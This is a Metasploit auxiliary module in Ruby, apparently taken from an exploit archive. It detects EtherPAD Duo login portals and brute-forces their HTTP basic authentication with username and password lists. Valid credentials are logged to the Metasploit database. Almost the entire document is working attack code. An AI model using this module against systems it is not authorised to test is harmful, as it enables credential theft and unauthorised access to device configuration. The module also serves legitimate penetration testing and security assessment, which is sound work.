This Metasploit module scans for EtherPAD Duo login portal, and performs a login bruteforce attack to identify valid credentials.
5b08b79d78435d7b19085b9bfec6075eb5093f11b68f923725b1ed014d85321e
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'EtherPAD Duo Login Bruteforce Utility',
'Description' => %{
This module scans for EtherPAD Duo login portal, and
performs a login bruteforce attack to identify valid credentials.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE
))
deregister_options('HttpUsername', 'HttpPassword')
end
def run_host(ip)
unless is_app_epaduo?
return
end
print_status("Starting login bruteforce...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
#
# What's the point of running this module if the target actually isn't EtherPAD Duo
#
def is_app_epaduo?
begin
res = send_request_cgi(
{
'uri' => normalize_uri('/', 'CGI', 'mParseCGI'),
'method' => 'GET',
'vars_get' => {
'file' => 'mainpage.html'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
vprint_error("HTTP Connection Failed...")
return false
end
if (res and res.code == 200 and res.headers['Server'] =~ /EtherPAD/ and res.body.include?("EtherPAD Duo"))
vprint_good("Running EtherPAD Duo application ...")
return true
else
vprint_error("Application is not EtherPAD Duo. Module will not continue.")
return false
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
'uri' => normalize_uri('/', 'config', 'configindex.ehtml'),
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("HTTP Connection Failed...")
return :abort
end
if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
return :next_user
else
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
end
end